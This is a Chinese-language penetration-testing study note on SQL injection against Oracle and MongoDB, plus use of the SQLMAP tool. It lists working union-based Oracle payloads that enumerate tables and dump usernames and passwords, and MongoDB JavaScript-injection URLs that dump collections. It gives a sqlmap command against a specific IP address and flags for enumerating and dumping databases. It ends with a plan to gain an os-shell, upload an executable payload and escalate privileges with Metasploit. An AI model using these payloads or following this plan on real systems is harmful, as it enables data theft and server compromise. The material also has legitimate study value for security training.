#知识点:
1、数据库注入-Oracle&Mongodb
2、数据库注入-DB2&SQLite&Sybase
3、SQL 注入神器-SQLMAP 安装使用拓展
数据库注入:
数据库注入-联合猜解-Oracle&Mongodb
1.Oracle数据库一般会在java上执行
参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。
Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。
测回显:and 1=2 union select '1','2' from dual
爆库:and 1=2 union select '1',(select table_name from user_tables
where rownum=1) from dual
模糊爆库:and 1=2 union select '1',(select table_name from
user_tables where rownum=1 and table_name like '%user%') from
dual
爆列名:and 1=2 union select '1',(select column_name from
all_tab_columns where rownum=1 and table_name='sns_users') from
dual
爆其他列名:and 1=2 union select '1',(select column_name from
all_tab_columns where rownum=1 and table_name='sns_users' and
column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from
"sns_users" where USER_NAME<>'hu'
2.Mongodb :一般在python中
题目源代码:
db.getCollectionNames()返回的是数组,需要用 tojson 转换为字符串。
db.Authority_confidential 是当前用的集合(表),find 函数用于查询,0 是第
一条数据
测回显:/new_list.php?id=1'}); return ({title:1,content:'2
爆库: /new_list.php?id=1'}); return
({title:tojson(db),content:'1
爆表: /new_list.php?id=1'}); return
({title:tojson(db.getCollectionNames()),content:'1
爆字段:/new_list.php?id=1'}); return
({title:tojson(db.Authority_confidential.find()[0]),content:'1
数据库注入-SQLMAP-数据猜解&高权限读写执行
1、判断数据库注入点
2、判断注入点权限
-sqlmap 数据库注入数据猜解
-sqlmap 高权限注入读写执行
-sqlmao 高权限注入联动 MSF
#SQLMAP 使用参数:
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
https://sqlmap.org/
注入技术:布尔盲注、时间盲注、错误注入、union注入、堆叠查询(SQL语句的基本操作)、带外(dnslog:利用其他的协议,将dns等信息带出来)
使用SQLmap的流程:
判断注入点
判断数据库类型(是否存在高级权限)
判断是否为高级用户
指定网站进行注入
python sqlmap.py -u "http://124.70.71.251:40184/new_list.php?id=1"
判断为IBM数据库,并判断是否要测试其他数据库
存在注入点
判断权限:--privileges #查看权限或 --is-dba #查看是否是数据库管理员
有了高级权限,也不一定代表能够完全的文件读写(如mysql中的文件读写,需要my.ini配置上的修改)
若不是高级权限,则老实的进行数据库猜测:
--dbs #查看其他数据库、
--current-db #当前数据库、
--tables #获取所有数据库中的表、
联合指定数据库查询表--tables -D ”指定数据库”、
联合指定数据库中的指定表的列--columns -T “指定表” -D ”指定数据库”、
联合指定数据库中的指定表的指定列中的属性值--dump -C “指定列” -T “指定表” -D ”指定数据库”
--purge #清理缓存
一些数据库的特性,无dbs
-r #对当下文件下的数据包进行解析——特定访问:POST、限制数据头的数据包
对数据包要注入点加入*:表示为注入点
Msf:进行后期内网渗透和提权
主要的思路是:
通过sqlmap找到管理员账号和密码,从而登入后台,再利用后台进行os-shell的连接实现shell交互,此时通过shell交互便可获取到对方服务器的IP等敏感信息,同时,在自己的服务器中开启监听,利用高级权限读写文件,向对服务器写入payload(.exe)并运行,实现上线服务器,然后在监听过程中开启msf,从而提权